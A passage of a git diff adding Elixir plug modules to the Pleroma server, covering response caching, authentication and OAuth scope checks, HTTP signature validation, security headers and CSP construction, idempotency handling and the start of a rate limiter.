-> + cache_resp(conn, opts) + + {:ok, {content_type, body, tracking_fun_data}} -> + conn = opts.tracking_fun.(conn, tracking_fun_data) + + send_cached(conn, {content_type, body}) + + {:ok, record} -> + send_cached(conn, record) + + {atom, message} when atom in [:ignore, :error] -> + render_error(conn, message) + end + end + + def call(conn, _), do: conn + + # full path including query params + defp cache_key(conn, %{query_params: true}), do: current_path(conn) + + # request path without query params + defp cache_key(conn, %{query_params: false}), do: conn.request_path + + # request path with specific query params + defp cache_key(conn, %{query_params: query_params}) when is_list(query_params) do + query_string = + conn.params + |> Map.take(query_params) + |> URI.encode_query() + + conn.request_path <> "?" <> query_string + end + + defp cache_resp(conn, opts) do + register_before_send(conn, fn + %{status: 200, resp_body: body} = conn -> + ttl = Map.get(conn.assigns, :cache_ttl, opts.ttl) + key = cache_key(conn, opts) + content_type = content_type(conn) + + conn = + unless opts[:tracking_fun] do + Cachex.put(:web_resp_cache, key, {content_type, body}, ttl: ttl) + conn + else + tracking_fun_data = Map.get(conn.assigns, :tracking_fun_data, nil) + Cachex.put(:web_resp_cache, key, {content_type, body, tracking_fun_data}, ttl: ttl) + + opts.tracking_fun.(conn, tracking_fun_data) + end + + put_resp_header(conn, "x-cache", "MISS from Pleroma") + + conn -> + conn + end) + end + + defp content_type(conn) do + conn + |> Plug.Conn.get_resp_header("content-type") + |> hd() + end + + defp send_cached(conn, {content_type, body}) do + conn + |> put_resp_content_type(content_type, nil) + |> put_resp_header("x-cache", "HIT from Pleroma") + |> send_resp(:ok, body) + |> halt() + end + + defp render_error(conn, message) do + conn + |> put_status(:internal_server_error) + |> json(%{error: message}) + |> halt() + end +end diff --git a/lib/pleroma/web/plugs/digest.ex b/lib/pleroma/web/plugs/digest.ex new file mode 100644 index 000000000..b521b3073 --- /dev/null +++ b/lib/pleroma/web/plugs/digest.ex @@ -0,0 +1,14 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.DigestPlug do + alias Plug.Conn + require Logger + + def read_body(conn, opts) do + {:ok, body, conn} = Conn.read_body(conn, opts) + digest = "SHA-256=" <> (:crypto.hash(:sha256, body) |> Base.encode64()) + {:ok, body, Conn.assign(conn, :digest, digest)} + end +end diff --git a/lib/pleroma/web/plugs/ensure_authenticated_plug.ex b/lib/pleroma/web/plugs/ensure_authenticated_plug.ex new file mode 100644 index 000000000..3fe550806 --- /dev/null +++ b/lib/pleroma/web/plugs/ensure_authenticated_plug.ex @@ -0,0 +1,41 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.EnsureAuthenticatedPlug do + import Plug.Conn + import Pleroma.Web.TranslationHelpers + + alias Pleroma.User + + use Pleroma.Web, :plug + + def init(options) do + options + end + + @impl true + def perform( + %{ + assigns: %{ + auth_credentials: %{password: _}, + user: %User{multi_factor_authentication_settings: %{enabled: true}} + } + } = conn, + _ + ) do + conn + |> render_error(:forbidden, "Two-factor authentication enabled, you must use a access token.") + |> halt() + end + + def perform(%{assigns: %{user: %User{}}} = conn, _) do + conn + end + + def perform(conn, _) do + conn + |> render_error(:forbidden, "Invalid credentials.") + |> halt() + end +end diff --git a/lib/pleroma/web/plugs/ensure_public_or_authenticated_plug.ex b/lib/pleroma/web/plugs/ensure_public_or_authenticated_plug.ex new file mode 100644 index 000000000..7265bb87a --- /dev/null +++ b/lib/pleroma/web/plugs/ensure_public_or_authenticated_plug.ex @@ -0,0 +1,35 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug do + import Pleroma.Web.TranslationHelpers + import Plug.Conn + + alias Pleroma.Config + alias Pleroma.User + + use Pleroma.Web, :plug + + def init(options) do + options + end + + @impl true + def perform(conn, _) do + public? = Config.get!([:instance, :public]) + + case {public?, conn} do + {true, _} -> + conn + + {false, %{assigns: %{user: %User{}}}} -> + conn + + {false, _} -> + conn + |> render_error(:forbidden, "This resource requires authentication.") + |> halt + end + end +end diff --git a/lib/pleroma/web/plugs/ensure_user_key_plug.ex b/lib/pleroma/web/plugs/ensure_user_key_plug.ex new file mode 100644 index 000000000..9795cdbde --- /dev/null +++ b/lib/pleroma/web/plugs/ensure_user_key_plug.ex @@ -0,0 +1,18 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.EnsureUserKeyPlug do + import Plug.Conn + + def init(opts) do + opts + end + + def call(%{assigns: %{user: _}} = conn, _), do: conn + + def call(conn, _) do + conn + |> assign(:user, nil) + end +end diff --git a/lib/pleroma/web/plugs/expect_authenticated_check_plug.ex b/lib/pleroma/web/plugs/expect_authenticated_check_plug.ex new file mode 100644 index 000000000..66b8d5de5 --- /dev/null +++ b/lib/pleroma/web/plugs/expect_authenticated_check_plug.ex @@ -0,0 +1,20 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.ExpectAuthenticatedCheckPlug do + @moduledoc """ + Marks `Pleroma.Plugs.EnsureAuthenticatedPlug` as expected to be executed later in plug chain. + + No-op plug which affects `Pleroma.Web` operation (is checked with `PlugHelper.plug_called?/2`). + """ + + use Pleroma.Web, :plug + + def init(options), do: options + + @impl true + def perform(conn, _) do + conn + end +end diff --git a/lib/pleroma/web/plugs/expect_public_or_authenticated_check_plug.ex b/lib/pleroma/web/plugs/expect_public_or_authenticated_check_plug.ex new file mode 100644 index 000000000..ba0ef76bd --- /dev/null +++ b/lib/pleroma/web/plugs/expect_public_or_authenticated_check_plug.ex @@ -0,0 +1,21 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug do + @moduledoc """ + Marks `Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug` as expected to be executed later in plug + chain. + + No-op plug which affects `Pleroma.Web` operation (is checked with `PlugHelper.plug_called?/2`). + """ + + use Pleroma.Web, :plug + + def init(options), do: options + + @impl true + def perform(conn, _) do + conn + end +end diff --git a/lib/pleroma/web/plugs/federating_plug.ex b/lib/pleroma/web/plugs/federating_plug.ex new file mode 100644 index 000000000..09038f3c6 --- /dev/null +++ b/lib/pleroma/web/plugs/federating_plug.ex @@ -0,0 +1,32 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FederatingPlug do + import Plug.Conn + + def init(options) do + options + end + + def call(conn, _opts) do + if federating?() do + conn + else + fail(conn) + end + end + + def federating?, do: Pleroma.Config.get([:instance, :federating]) + + # Definition for the use in :if_func / :unless_func plug options + def federating?(_conn), do: federating?() + + defp fail(conn) do + conn + |> put_status(404) + |> Phoenix.Controller.put_view(Pleroma.Web.ErrorView) + |> Phoenix.Controller.render("404.json") + |> halt() + end +end diff --git a/lib/pleroma/web/plugs/http_security_plug.ex b/lib/pleroma/web/plugs/http_security_plug.ex new file mode 100644 index 000000000..c363b193b --- /dev/null +++ b/lib/pleroma/web/plugs/http_security_plug.ex @@ -0,0 +1,225 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.HTTPSecurityPlug do + alias Pleroma.Config + import Plug.Conn + + require Logger + + def init(opts), do: opts + + def call(conn, _options) do + if Config.get([:http_security, :enabled]) do + conn + |> merge_resp_headers(headers()) + |> maybe_send_sts_header(Config.get([:http_security, :sts])) + else + conn + end + end + + defp headers do + referrer_policy = Config.get([:http_security, :referrer_policy]) + report_uri = Config.get([:http_security, :report_uri]) + + headers = [ + {"x-xss-protection", "1; mode=block"}, + {"x-permitted-cross-domain-policies", "none"}, + {"x-frame-options", "DENY"}, + {"x-content-type-options", "nosniff"}, + {"referrer-policy", referrer_policy}, + {"x-download-options", "noopen"}, + {"content-security-policy", csp_string()} + ] + + if report_uri do + report_group = %{ + "group" => "csp-endpoint", + "max-age" => 10_886_400, + "endpoints" => [ + %{"url" => report_uri} + ] + } + + [{"reply-to", Jason.encode!(report_group)} | headers] + else + headers + end + end + + static_csp_rules = [ + "default-src 'none'", + "base-uri 'self'", + "frame-ancestors 'none'", + "style-src 'self' 'unsafe-inline'", + "font-src 'self'", + "manifest-src 'self'" + ] + + @csp_start [Enum.join(static_csp_rules, ";") <> ";"] + + defp csp_string do + scheme = Config.get([Pleroma.Web.Endpoint, :url])[:scheme] + static_url = Pleroma.Web.Endpoint.static_url() + websocket_url = Pleroma.Web.Endpoint.websocket_url() + report_uri = Config.get([:http_security, :report_uri]) + + img_src = "img-src 'self' data: blob:" + media_src = "media-src 'self'" + + # Strict multimedia CSP enforcement only when MediaProxy is enabled + {img_src, media_src} = + if Config.get([:media_proxy, :enabled]) && + !Config.get([:media_proxy, :proxy_opts, :redirect_on_failure]) do + sources = build_csp_multimedia_source_list() + {[img_src, sources], [media_src, sources]} + else + {[img_src, " https:"], [media_src, " https:"]} + end + + connect_src = ["connect-src 'self' blob: ", static_url, ?\s, websocket_url] + + connect_src = + if Config.get(:env) == :dev do + [connect_src, " http://localhost:3035/"] + else + connect_src + end + + script_src = + if Config.get(:env) == :dev do + "script-src 'self' 'unsafe-eval'" + else + "script-src 'self'" + end + + report = if report_uri, do: ["report-uri ", report_uri, ";report-to csp-endpoint"] + insecure = if scheme == "https", do: "upgrade-insecure-requests" + + @csp_start + |> add_csp_param(img_src) + |> add_csp_param(media_src) + |> add_csp_param(connect_src) + |> add_csp_param(script_src) + |> add_csp_param(insecure) + |> add_csp_param(report) + |> :erlang.iolist_to_binary() + end + + defp build_csp_from_whitelist([], acc), do: acc + + defp build_csp_from_whitelist([last], acc) do + [build_csp_param_from_whitelist(last) | acc] + end + + defp build_csp_from_whitelist([head | tail], acc) do + build_csp_from_whitelist(tail, [[?\s, build_csp_param_from_whitelist(head)] | acc]) + end + + # TODO: use `build_csp_param/1` after removing support bare domains for media proxy whitelist + defp build_csp_param_from_whitelist("http" <> _ = url) do + build_csp_param(url) + end + + defp build_csp_param_from_whitelist(url), do: url + + defp build_csp_multimedia_source_list do + media_proxy_whitelist = + [:media_proxy, :whitelist] + |> Config.get() + |> build_csp_from_whitelist([]) + + captcha_method = Config.get([Pleroma.Captcha, :method]) + captcha_endpoint = Config.get([captcha_method, :endpoint]) + + base_endpoints = + [ + [:media_proxy, :base_url], + [Pleroma.Upload, :base_url], + [Pleroma.Uploaders.S3, :public_endpoint] + ] + |> Enum.map(&Config.get/1) + + [captcha_endpoint | base_endpoints] + |> Enum.map(&build_csp_param/1) + |> Enum.reduce([], &add_source(&2, &1)) + |> add_source(media_proxy_whitelist) + end + + defp add_source(iodata, nil), do: iodata + defp add_source(iodata, []), do: iodata + defp add_source(iodata, source), do: [[?\s, source] | iodata] + + defp add_csp_param(csp_iodata, nil), do: csp_iodata + + defp add_csp_param(csp_iodata, param), do: [[param, ?;] | csp_iodata] + + defp build_csp_param(nil), do: nil + + defp build_csp_param(url) when is_binary(url) do + %{host: host, scheme: scheme} = URI.parse(url) + + if scheme do + [scheme, "://", host] + end + end + + def warn_if_disabled do + unless Config.get([:http_security, :enabled]) do + Logger.warn(" + .i;;;;i. + iYcviii;vXY: + .YXi .i1c. + .YC. . in7. + .vc. ...... ;1c. + i7, .. .;1; + i7, .. ... .Y1i + ,7v .6MMM@; .YX, + .7;. ..IMMMMMM1 :t7. + .;Y. ;$MMMMMM9. :tc. + vY. .. .nMMM@MMU. ;1v. + i7i ... .#MM@M@C. .....:71i + it: .... $MMM@9;.,i;;;i,;tti + :t7. ..... 0MMMWv.,iii:::,,;St. + .nC. ..... IMMMQ..,::::::,.,czX. + .ct: ....... .ZMMMI..,:::::::,,:76Y. + c2: ......,i..Y$M@t..:::::::,,..inZY + vov ......:ii..c$MBc..,,,,,,,,,,..iI9i + i9Y ......iii:..7@MA,..,,,,,,,,,....;AA: + iIS. ......:ii::..;@MI....,............;Ez. + .I9. ......:i::::...8M1..................C0z. + .z9; ......:i::::,.. .i:...................zWX. + vbv ......,i::::,,. ................. :AQY + c6Y. .,...,::::,,..:t0@@QY. ................ :8bi + :6S. ..,,...,:::,,,..EMMMMMMI. ............... .;bZ, + :6o, .,,,,..:::,,,..i#MMMMMM#v................. YW2. + .n8i ..,,,,,,,::,,,,.. tMMMMM@C:.................. .1Wn + 7Uc. .:::,,,,,::,,,,.. i1t;,..................... .UEi + 7C...::::::::::::,,,,.. .................... vSi. + ;1;...,,::::::,......... .................. Yz: + v97,......... .voC. + izAotX7777777777777777777777777777777777777777Y7n92: + .;CoIIIIIUAA666666699999ZZZZZZZZZZZZZZZZZZZZ6ov. + +HTTP Security is disabled. Please re-enable it to prevent users from attacking +your instance and your users via malicious posts: + + config :pleroma, :http_security, enabled: true + ") + end + end + + defp maybe_send_sts_header(conn, true) do + max_age_sts = Config.get([:http_security, :sts_max_age]) + max_age_ct = Config.get([:http_security, :ct_max_age]) + + merge_resp_headers(conn, [ + {"strict-transport-security", "max-age=#{max_age_sts}; includeSubDomains"}, + {"expect-ct", "enforce, max-age=#{max_age_ct}"} + ]) + end + + defp maybe_send_sts_header(conn, _), do: conn +end diff --git a/lib/pleroma/web/plugs/http_signature.ex b/lib/pleroma/web/plugs/http_signature.ex new file mode 100644 index 000000000..036e2a773 --- /dev/null +++ b/lib/pleroma/web/plugs/http_signature.ex @@ -0,0 +1,65 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.HTTPSignaturePlug do + import Plug.Conn + import Phoenix.Controller, only: [get_format: 1, text: 2] + require Logger + + def init(options) do + options + end + + def call(%{assigns: %{valid_signature: true}} = conn, _opts) do + conn + end + + def call(conn, _opts) do + if get_format(conn) == "activity+json" do + conn + |> maybe_assign_valid_signature() + |> maybe_require_signature() + else + conn + end + end + + defp maybe_assign_valid_signature(conn) do + if has_signature_header?(conn) do + # set (request-target) header to the appropriate value + # we also replace the digest header with the one we computed + request_target = String.downcase("#{conn.method}") <> " #{conn.request_path}" + + conn = + conn + |> put_req_header("(request-target)", request_target) + |> case do + %{assigns: %{digest: digest}} = conn -> put_req_header(conn, "digest", digest) + conn -> conn + end + + assign(conn, :valid_signature, HTTPSignatures.validate_conn(conn)) + else + Logger.debug("No signature header!") + conn + end + end + + defp has_signature_header?(conn) do + conn |> get_req_header("signature") |> Enum.at(0, false) + end + + defp maybe_require_signature(%{assigns: %{valid_signature: true}} = conn), do: conn + + defp maybe_require_signature(conn) do + if Pleroma.Config.get([:activitypub, :authorized_fetch_mode], false) do + conn + |> put_status(:unauthorized) + |> text("Request not signed") + |> halt() + else + conn + end + end +end diff --git a/lib/pleroma/web/plugs/idempotency_plug.ex b/lib/pleroma/web/plugs/idempotency_plug.ex new file mode 100644 index 000000000..f41397075 --- /dev/null +++ b/lib/pleroma/web/plugs/idempotency_plug.ex @@ -0,0 +1,84 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.IdempotencyPlug do + import Phoenix.Controller, only: [json: 2] + import Plug.Conn + + @behaviour Plug + + @impl true + def init(opts), do: opts + + # Sending idempotency keys in `GET` and `DELETE` requests has no effect + # and should be avoided, as these requests are idempotent by definition. + + @impl true + def call(%{method: method} = conn, _) when method in ["POST", "PUT", "PATCH"] do + case get_req_header(conn, "idempotency-key") do + [key] -> process_request(conn, key) + _ -> conn + end + end + + def call(conn, _), do: conn + + def process_request(conn, key) do + case Cachex.get(:idempotency_cache, key) do + {:ok, nil} -> + cache_resposnse(conn, key) + + {:ok, record} -> + send_cached(conn, key, record) + + {atom, message} when atom in [:ignore, :error] -> + render_error(conn, message) + end + end + + defp cache_resposnse(conn, key) do + register_before_send(conn, fn conn -> + [request_id] = get_resp_header(conn, "x-request-id") + content_type = get_content_type(conn) + + record = {request_id, content_type, conn.status, conn.resp_body} + {:ok, _} = Cachex.put(:idempotency_cache, key, record) + + conn + |> put_resp_header("idempotency-key", key) + |> put_resp_header("x-original-request-id", request_id) + end) + end + + defp send_cached(conn, key, record) do + {request_id, content_type, status, body} = record + + conn + |> put_resp_header("idempotency-key", key) + |> put_resp_header("idempotent-replayed", "true") + |> put_resp_header("x-original-request-id", request_id) + |> put_resp_content_type(content_type) + |> send_resp(status, body) + |> halt() + end + + defp render_error(conn, message) do + conn + |> put_status(:unprocessable_entity) + |> json(%{error: message}) + |> halt() + end + + defp get_content_type(conn) do + [content_type] = get_resp_header(conn, "content-type") + + if String.contains?(content_type, ";") do + content_type + |> String.split(";") + |> hd() + else + content_type + end + end +end diff --git a/lib/pleroma/web/plugs/instance_static.ex b/lib/pleroma/web/plugs/instance_static.ex new file mode 100644 index 000000000..0fb57e422 --- /dev/null +++ b/lib/pleroma/web/plugs/instance_static.ex @@ -0,0 +1,53 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.InstanceStatic do + require Pleroma.Constants + + @moduledoc """ + This is a shim to call `Plug.Static` but with runtime `from` configuration. + + Mountpoints are defined directly in the module to avoid calling the configuration for every request including non-static ones. + """ + @behaviour Plug + + def file_path(path) do + instance_path = + Path.join(Pleroma.Config.get([:instance, :static_dir], "instance/static/"), path) + + frontend_path = Pleroma.Plugs.FrontendStatic.file_path(path, :primary) + + (File.exists?(instance_path) && instance_path) || + (frontend_path && File.exists?(frontend_path) && frontend_path) || + Path.join(Application.app_dir(:pleroma, "priv/static/"), path) + end + + def init(opts) do + opts + |> Keyword.put(:from, "__unconfigured_instance_static_plug") + |> Plug.Static.init() + end + + for only <- Pleroma.Constants.static_only_files() do + def call(%{request_path: "/" <> unquote(only) <> _} = conn, opts) do + call_static( + conn, + opts, + Pleroma.Config.get([:instance, :static_dir], "instance/static") + ) + end + end + + def call(conn, _) do + conn + end + + defp call_static(conn, opts, from) do + opts = + opts + |> Map.put(:from, from) + + Plug.Static.call(conn, opts) + end +end diff --git a/lib/pleroma/web/plugs/legacy_authentication_plug.ex b/lib/pleroma/web/plugs/legacy_authentication_plug.ex new file mode 100644 index 000000000..d346e01a6 --- /dev/null +++ b/lib/pleroma/web/plugs/legacy_authentication_plug.ex @@ -0,0 +1,42 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.LegacyAuthenticationPlug do + import Plug.Conn + + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.User + + def init(options) do + options + end + + def call(%{assigns: %{user: %User{}}} = conn, _), do: conn + + def call( + %{ + assigns: %{ + auth_user: %{password_hash: "$6$" <> _ = password_hash} = auth_user, + auth_credentials: %{password: password} + } + } = conn, + _ + ) do + with ^password_hash <- :crypt.crypt(password, password_hash), + {:ok, user} <- + User.reset_password(auth_user, %{password: password, password_confirmation: password}) do + conn + |> assign(:auth_user, user) + |> assign(:user, user) + |> OAuthScopesPlug.skip_plug() + else + _ -> + conn + end + end + + def call(conn, _) do + conn + end +end diff --git a/lib/pleroma/web/plugs/mapped_signature_to_identity_plug.ex b/lib/pleroma/web/plugs/mapped_signature_to_identity_plug.ex new file mode 100644 index 000000000..f44d4dee5 --- /dev/null +++ b/lib/pleroma/web/plugs/mapped_signature_to_identity_plug.ex @@ -0,0 +1,71 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.MappedSignatureToIdentityPlug do + alias Pleroma.Signature + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Utils + + import Plug.Conn + require Logger + + def init(options), do: options + + defp key_id_from_conn(conn) do + with %{"keyId" => key_id} <- HTTPSignatures.signature_for_conn(conn), + {:ok, ap_id} <- Signature.key_id_to_actor_id(key_id) do + ap_id + else + _ -> + nil + end + end + + defp user_from_key_id(conn) do + with key_actor_id when is_binary(key_actor_id) <- key_id_from_conn(conn), + {:ok, %User{} = user} <- User.get_or_fetch_by_ap_id(key_actor_id) do + user + else + _ -> + nil + end + end + + def call(%{assigns: %{user: _}} = conn, _opts), do: conn + + # if this has payload make sure it is signed by the same actor that made it + def call(%{assigns: %{valid_signature: true}, params: %{"actor" => actor}} = conn, _opts) do + with actor_id <- Utils.get_ap_id(actor), + {:user, %User{} = user} <- {:user, user_from_key_id(conn)}, + {:user_match, true} <- {:user_match, user.ap_id == actor_id} do + assign(conn, :user, user) + else + {:user_match, false} -> + Logger.debug("Failed to map identity from signature (payload actor mismatch)") + Logger.debug("key_id=#{inspect(key_id_from_conn(conn))}, actor=#{inspect(actor)}") + assign(conn, :valid_signature, false) + + # remove me once testsuite uses mapped capabilities instead of what we do now + {:user, nil} -> + Logger.debug("Failed to map identity from signature (lookup failure)") + Logger.debug("key_id=#{inspect(key_id_from_conn(conn))}, actor=#{actor}") + conn + end + end + + # no payload, probably a signed fetch + def call(%{assigns: %{valid_signature: true}} = conn, _opts) do + with %User{} = user <- user_from_key_id(conn) do + assign(conn, :user, user) + else + _ -> + Logger.debug("Failed to map identity from signature (no payload actor mismatch)") + Logger.debug("key_id=#{inspect(key_id_from_conn(conn))}") + assign(conn, :valid_signature, false) + end + end + + # no signature at all + def call(conn, _opts), do: conn +end diff --git a/lib/pleroma/web/plugs/o_auth_plug.ex b/lib/pleroma/web/plugs/o_auth_plug.ex new file mode 100644 index 000000000..6fa71ef47 --- /dev/null +++ b/lib/pleroma/web/plugs/o_auth_plug.ex @@ -0,0 +1,120 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.OAuthPlug do + import Plug.Conn + import Ecto.Query + + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.OAuth.App + alias Pleroma.Web.OAuth.Token + + @realm_reg Regex.compile!("Bearer\:?\s+(.*)$", "i") + + def init(options), do: options + + def call(%{assigns: %{user: %User{}}} = conn, _), do: conn + + def call(%{params: %{"access_token" => access_token}} = conn, _) do + with {:ok, user, token_record} <- fetch_user_and_token(access_token) do + conn + |> assign(:token, token_record) + |> assign(:user, user) + else + _ -> + # token found, but maybe only with app + with {:ok, app, token_record} <- fetch_app_and_token(access_token) do + conn + |> assign(:token, token_record) + |> assign(:app, app) + else + _ -> conn + end + end + end + + def call(conn, _) do + case fetch_token_str(conn) do + {:ok, token} -> + with {:ok, user, token_record} <- fetch_user_and_token(token) do + conn + |> assign(:token, token_record) + |> assign(:user, user) + else + _ -> + # token found, but maybe only with app + with {:ok, app, token_record} <- fetch_app_and_token(token) do + conn + |> assign(:token, token_record) + |> assign(:app, app) + else + _ -> conn + end + end + + _ -> + conn + end + end + + # Gets user by token + # + @spec fetch_user_and_token(String.t()) :: {:ok, User.t(), Token.t()} | nil + defp fetch_user_and_token(token) do + query = + from(t in Token, + where: t.token == ^token, + join: user in assoc(t, :user), + preload: [user: user] + ) + + # credo:disable-for-next-line Credo.Check.Readability.MaxLineLength + with %Token{user: user} = token_record <- Repo.one(query) do + {:ok, user, token_record} + end + end + + @spec fetch_app_and_token(String.t()) :: {:ok, App.t(), Token.t()} | nil + defp fetch_app_and_token(token) do + query = + from(t in Token, where: t.token == ^token, join: app in assoc(t, :app), preload: [app: app]) + + with %Token{app: app} = token_record <- Repo.one(query) do + {:ok, app, token_record} + end + end + + # Gets token from session by :oauth_token key + # + @spec fetch_token_from_session(Plug.Conn.t()) :: :no_token_found | {:ok, String.t()} + defp fetch_token_from_session(conn) do + case get_session(conn, :oauth_token) do + nil -> :no_token_found + token -> {:ok, token} + end + end + + # Gets token from headers + # + @spec fetch_token_str(Plug.Conn.t()) :: :no_token_found | {:ok, String.t()} + defp fetch_token_str(%Plug.Conn{} = conn) do + headers = get_req_header(conn, "authorization") + + with :no_token_found <- fetch_token_str(headers), + do: fetch_token_from_session(conn) + end + + @spec fetch_token_str(Keyword.t()) :: :no_token_found | {:ok, String.t()} + defp fetch_token_str([]), do: :no_token_found + + defp fetch_token_str([token | tail]) do + trimmed_token = String.trim(token) + + case Regex.run(@realm_reg, trimmed_token) do + [_, match] -> {:ok, String.trim(match)} + _ -> fetch_token_str(tail) + end + end +end diff --git a/lib/pleroma/web/plugs/o_auth_scopes_plug.ex b/lib/pleroma/web/plugs/o_auth_scopes_plug.ex new file mode 100644 index 000000000..b1a736d78 --- /dev/null +++ b/lib/pleroma/web/plugs/o_auth_scopes_plug.ex @@ -0,0 +1,77 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.OAuthScopesPlug do + import Plug.Conn + import Pleroma.Web.Gettext + + alias Pleroma.Config + + use Pleroma.Web, :plug + + def init(%{scopes: _} = options), do: options + + @impl true + def perform(%Plug.Conn{assigns: assigns} = conn, %{scopes: scopes} = options) do + op = options[:op] || :| + token = assigns[:token] + + scopes = transform_scopes(scopes, options) + matched_scopes = (token && filter_descendants(scopes, token.scopes)) || [] + + cond do + token && op == :| && Enum.any?(matched_scopes) -> + conn + + token && op == :& && matched_scopes == scopes -> + conn + + options[:fallback] == :proceed_unauthenticated -> + drop_auth_info(conn) + + true -> + missing_scopes = scopes -- matched_scopes + permissions = Enum.join(missing_scopes, " #{op} ") + + error_message = + dgettext("errors", "Insufficient permissions: %{permissions}.", permissions: permissions) + + conn + |> put_resp_content_type("application/json") + |> send_resp(:forbidden, Jason.encode!(%{error: error_message})) + |> halt() + end + end + + @doc "Drops authentication info from connection" + def drop_auth_info(conn) do + # To simplify debugging, setting a private variable on `conn` if auth info is dropped + conn + |> put_private(:authentication_ignored, true) + |> assign(:user, nil) + |> assign(:token, nil) + end + + @doc "Keeps those of `scopes` which are descendants of `supported_scopes`" + def filter_descendants(scopes, supported_scopes) do + Enum.filter( + scopes, + fn scope -> + Enum.find( + supported_scopes, + &(scope == &1 || String.starts_with?(scope, &1 <> ":")) + ) + end + ) + end + + @doc "Transforms scopes by applying supported options (e.g. :admin)" + def transform_scopes(scopes, options) do + if options[:admin] do + Config.oauth_admin_scopes(scopes) + else + scopes + end + end +end diff --git a/lib/pleroma/web/plugs/plug_helper.ex b/lib/pleroma/web/plugs/plug_helper.ex new file mode 100644 index 000000000..9c67be8ef --- /dev/null +++ b/lib/pleroma/web/plugs/plug_helper.ex @@ -0,0 +1,40 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.PlugHelper do + @moduledoc "Pleroma Plug helper" + + @called_plugs_list_id :called_plugs + def called_plugs_list_id, do: @called_plugs_list_id + + @skipped_plugs_list_id :skipped_plugs + def skipped_plugs_list_id, do: @skipped_plugs_list_id + + @doc "Returns `true` if specified plug was called." + def plug_called?(conn, plug_module) do + contained_in_private_list?(conn, @called_plugs_list_id, plug_module) + end + + @doc "Returns `true` if specified plug was explicitly marked as skipped." + def plug_skipped?(conn, plug_module) do + contained_in_private_list?(conn, @skipped_plugs_list_id, plug_module) + end + + @doc "Returns `true` if specified plug was either called or explicitly marked as skipped." + def plug_called_or_skipped?(conn, plug_module) do + plug_called?(conn, plug_module) || plug_skipped?(conn, plug_module) + end + + # Appends plug to known list (skipped, called). Intended to be used from within plug code only. + def append_to_private_list(conn, list_id, value) do + list = conn.private[list_id] || [] + modified_list = Enum.uniq(list ++ [value]) + Plug.Conn.put_private(conn, list_id, modified_list) + end + + defp contained_in_private_list?(conn, private_variable, value) do + list = conn.private[private_variable] || [] + value in list + end +end diff --git a/lib/pleroma/web/plugs/rate_limiter.ex b/lib/pleroma/web/plugs/rate_limiter.ex new file mode 100644 index 000000000..c51e2c634 --- /dev/null +++ b/lib/pleroma/web/plugs/rate_limiter.ex @@ -0,0 +1,267 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.RateLimiter do + @moduledoc """ + + ## Configuration + + A keyword list of rate limiters where a key is a limiter name and value is the limiter configuration. + The basic configuration is a tuple where: + + * The first element: `scale` (Integer). The time scale in milliseconds. + * The second element: `limit` (Integer). How many requests to limit in the time scale provided. + + It is also possible to have different limits for unauthenticated and authenticated users: the keyword value must be a + list of two tuples where the first one is a config for unauthenticated users and the second one is for authenticated. + + To disable a limiter set its value to `nil`. + + ### Example + + config :pleroma, :rate_limit, + one: {1000, 10}, + two: [{10_000, 10}, {10_000, 50}], + foobar: nil + + Here we have three limiters: + + * `one` which is not over 10req/1s + * `two` which has two limits: 10req/10s for unauthenticated users and 50req/10s for authenticated users + * `foobar` which is disabled + + ## Usage + + AllowedSyntax: + + 